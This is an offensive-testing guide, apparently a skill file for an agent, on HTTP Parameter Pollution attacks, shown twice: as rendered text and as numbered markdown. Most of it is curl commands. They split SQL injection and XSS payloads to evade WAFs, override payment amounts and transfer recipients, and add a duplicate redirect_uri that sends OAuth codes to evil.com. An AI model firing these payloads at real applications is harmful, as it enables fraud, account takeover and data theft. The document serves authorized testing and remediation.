Performing HTTP Parameter Pollution Attack
When to Use
- When testing web applications for input validation bypass vulnerabilities
- During WAF evasion testing to split attack payloads across duplicate parameters
- When assessing how different technology stacks handle duplicate HTTP parameters
- During API security testing to identify parameter precedence issues
- When testing OAuth or payment processing flows for parameter manipulation
How to CONFIRM a Hit (avoid false negatives)
- The positive signal is a security-relevant behavioural change driven by which duplicate wins: sending
param=A¶m=B produces an outcome that neither param=A nor param=B alone produces, OR the value the back-end acts on differs from the value the front-end/WAF inspected (price, role, redirect_uri, account). A 200 is not proof — you must show the differential.
- First map precedence empirically, do not assume: send
q=first&q=second and read the response to learn whether the stack takes first, last, all-concatenated (comma), or an array. The bug exists when the WAF/validator reads one copy and the business logic reads the other.
- Confirm WAF-split bypasses by proving the reassembled payload executed (e.g. SQLi/XSS effect appears) while each half alone is blocked/inert — splitting that yields nothing is not a finding.
- Do NOT conclude negative until you have tried ALL of these:
- Both positions for the malicious copy (first AND last), since precedence varies.
- Query string, POST body, and duplicate HTTP headers (e.g. two
X-Forwarded-For).
- URL-encoded ampersand injection (
%26) to smuggle a second param inside a value (client-side HPP / reflected links).
- Stack-specific behaviours: PHP/Apache=last, ASP.NET/IIS=comma-concatenated, JSP/Tomcat=first, Node/Express=array, Flask=first — test against the detected stack.
- Security-sensitive targets:
redirect_uri, state, price/amount/quantity, coupon, role, id — confirm the SECOND copy actually overrides the enforced one.
- Identical behaviour to a single param (no precedence split, no validator/logic divergence) means NOT vulnerable — require an attributable differential before reporting.
Prerequisites
- Burp Suite Professional with Intruder and Repeater modules
- Understanding of HTTP protocol and query string parsing
- Knowledge of server-side parameter handling differences (first, last, array, concatenated)
- cURL or httpie for manual parameter crafting
- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Parameter Handling Behavior
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
Step 2 — Perform Server-Side HPP
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
Step 3 — Perform Client-Side HPP
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
Step 4 — Bypass WAF Rules Using HPP
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
Step 5 — Test OAuth and Payment Flow HPP
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
Step 6 — Automate HPP Testing
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
Key Concepts
| Concept |
Description |
| Server-Side HPP |
Duplicate parameters processed differently by backend causing logic bypass |
| Client-Side HPP |
Injected parameters reflected in URLs/links sent to other users |
| Parameter Precedence |
Server behavior: first-wins, last-wins, concatenation, or array |
| WAF Evasion |
Splitting attack payloads across duplicate parameters to avoid detection |
| Technology-Specific Parsing |
Different frameworks handle duplicate parameters uniquely |
| URL Encoding HPP |
Using %26 (encoded &) to inject additional parameters within a value |
| Header Pollution |
Sending duplicate HTTP headers to exploit forwarding or trust logic |
Tools & Systems
| Tool |
Purpose |
| Burp Suite |
HTTP proxy for intercepting and duplicating parameters |
| param-miner |
Burp extension for discovering hidden and duplicate parameters |
| OWASP ZAP |
Automated scanner with HPP detection capabilities |
| Arjun |
Hidden HTTP parameter discovery tool |
| ffuf |
Fuzzing tool for parameter brute-forcing and duplication testing |
| Wfuzz |
Web application fuzzer supporting parameter manipulation |
Common Scenarios
- WAF Bypass — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them
- Payment Manipulation — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values
- OAuth Redirect Hijacking — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server
- Access Control Bypass — Override role or permission parameters in requests to elevate privileges or access restricted resources
- Input Validation Bypass — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters
Output Format
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
1---2name: performing-http-parameter-pollution-attack3description: Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems.4license: Apache-2.05---67# Performing HTTP Parameter Pollution Attack89## When to Use10- When testing web applications for input validation bypass vulnerabilities11- During WAF evasion testing to split attack payloads across duplicate parameters12- When assessing how different technology stacks handle duplicate HTTP parameters13- During API security testing to identify parameter precedence issues14- When testing OAuth or payment processing flows for parameter manipulation1516### How to CONFIRM a Hit (avoid false negatives)17- The positive signal is a **security-relevant behavioural change driven by which duplicate wins**: sending `param=A¶m=B` produces an outcome that neither `param=A` nor `param=B` alone produces, OR the value the back-end acts on differs from the value the front-end/WAF inspected (price, role, redirect_uri, account). A 200 is not proof — you must show the differential.18- First map precedence empirically, do not assume: send `q=first&q=second` and read the response to learn whether the stack takes first, last, all-concatenated (comma), or an array. The bug exists when the WAF/validator reads one copy and the business logic reads the other.19- Confirm WAF-split bypasses by proving the reassembled payload executed (e.g. SQLi/XSS effect appears) while each half alone is blocked/inert — splitting that yields nothing is not a finding.20- Do NOT conclude negative until you have tried ALL of these:21 - Both positions for the malicious copy (first AND last), since precedence varies.22 - Query string, POST body, and duplicate HTTP headers (e.g. two `X-Forwarded-For`).23 - URL-encoded ampersand injection (`%26`) to smuggle a second param inside a value (client-side HPP / reflected links).24 - Stack-specific behaviours: PHP/Apache=last, ASP.NET/IIS=comma-concatenated, JSP/Tomcat=first, Node/Express=array, Flask=first — test against the detected stack.25 - Security-sensitive targets: `redirect_uri`, `state`, `price`/`amount`/`quantity`, `coupon`, `role`, `id` — confirm the SECOND copy actually overrides the enforced one.26- Identical behaviour to a single param (no precedence split, no validator/logic divergence) means NOT vulnerable — require an attributable differential before reporting.2728## Prerequisites29- Burp Suite Professional with Intruder and Repeater modules30- Understanding of HTTP protocol and query string parsing31- Knowledge of server-side parameter handling differences (first, last, array, concatenated)32- cURL or httpie for manual parameter crafting33- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)343536> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.3738## Workflow3940### Step 1 — Identify Parameter Handling Behavior41```bash42# Test how the server handles duplicate parameters43# Different servers process duplicates differently:44# Apache/PHP: Last parameter value45# ASP.NET/IIS: All values concatenated with comma46# JSP/Tomcat: First parameter value47# Node.js/Express: Array of values48# Python/Flask: First parameter value4950curl -v "http://target.com/search?q=first&q=second"51# Observe which value the application uses in the response5253# Test POST body duplicate parameters54curl -X POST http://target.com/api/action \55 -d "amount=100&amount=1"56```5758### Step 2 — Perform Server-Side HPP59```bash60# Bypass input validation by splitting payload61# Original blocked payload: id=1 OR 1=162curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF6364# HPP bypass: split across duplicate parameters65curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF6667# Parameter pollution in POST body68curl -X POST http://target.com/transfer \69 -d "to_account=victim&amount=100&to_account=attacker"7071# Override security-critical parameters72curl -X POST http://target.com/api/payment \73 -d "price=99.99¤cy=USD&price=0.01"74```7576### Step 3 — Perform Client-Side HPP77```bash78# Client-side HPP via URL manipulation79# If application reflects parameters in links:80# Original: http://target.com/page?param=value81# Inject: http://target.com/page?param=value%26injected_param=evil_value8283# Social sharing URL manipulation84curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"8586# Inject into embedded links87curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"88```8990### Step 4 — Bypass WAF Rules Using HPP91```bash92# WAF typically inspects individual parameter values93# Split SQL injection across parameters94curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"9596# Split XSS payload97curl "http://target.com/search?q=<script>&q=alert(1)</script>"9899# URL-encoded HPP bypass100curl "http://target.com/api/data?filter=admin%26role=superadmin"101102# HPP in HTTP headers103curl -H "X-Forwarded-For: 127.0.0.1" \104 -H "X-Forwarded-For: attacker-ip" \105 http://target.com/api/admin106```107108### Step 5 — Test OAuth and Payment Flow HPP109```bash110# OAuth authorization code HPP111# Inject duplicate redirect_uri to steal authorization code112curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"113114# Payment amount manipulation115curl -X POST http://target.com/api/checkout \116 -d "item=product1&price=100&quantity=1&price=1"117118# Coupon code HPP119curl -X POST http://target.com/api/apply-coupon \120 -d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"121```122123### Step 6 — Automate HPP Testing124```bash125# Use Burp Intruder with parameter duplication126# In Burp Repeater, manually add duplicate parameters127# Use param-miner Burp extension for automated discovery128129# Test with OWASP ZAP HPP scanner130zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \131 http://target.com132133# Custom testing with Python134python3 hpp_tester.py --url http://target.com/api/action \135 --params "id,role,amount" --method POST136```137138## Key Concepts139140| Concept | Description |141|---------|-------------|142| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |143| Client-Side HPP | Injected parameters reflected in URLs/links sent to other users |144| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |145| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |146| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |147| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |148| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |149150## Tools & Systems151152| Tool | Purpose |153|------|---------|154| Burp Suite | HTTP proxy for intercepting and duplicating parameters |155| param-miner | Burp extension for discovering hidden and duplicate parameters |156| OWASP ZAP | Automated scanner with HPP detection capabilities |157| Arjun | Hidden HTTP parameter discovery tool |158| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |159| Wfuzz | Web application fuzzer supporting parameter manipulation |160161## Common Scenarios1621631. **WAF Bypass** — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them1642. **Payment Manipulation** — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values1653. **OAuth Redirect Hijacking** — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server1664. **Access Control Bypass** — Override role or permission parameters in requests to elevate privileges or access restricted resources1675. **Input Validation Bypass** — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters168169## Output Format170171```172## HTTP Parameter Pollution Assessment Report173- **Target**: http://target.com174- **Server Technology**: ASP.NET/IIS (concatenation behavior)175- **Vulnerability**: Server-Side HPP in payment endpoint176177### Parameter Handling Matrix178| Technology | Behavior | Tested |179|-----------|----------|--------|180| Apache/PHP | Last value | Yes |181| IIS/ASP.NET | Comma-concatenated | Yes |182| Node.js | Array | Yes |183184### Findings185| # | Endpoint | Parameter | Impact | Severity |186|---|----------|-----------|--------|----------|187| 1 | POST /checkout | price | Price manipulation | Critical |188| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |189| 3 | POST /api/search | q | WAF bypass (SQLi) | High |190191### Remediation192- Implement strict parameter validation rejecting duplicate parameters193- Use the first occurrence of any parameter and ignore subsequent duplicates194- Apply WAF rules that detect duplicate parameter patterns195- Validate all parameters server-side regardless of client-side checks196```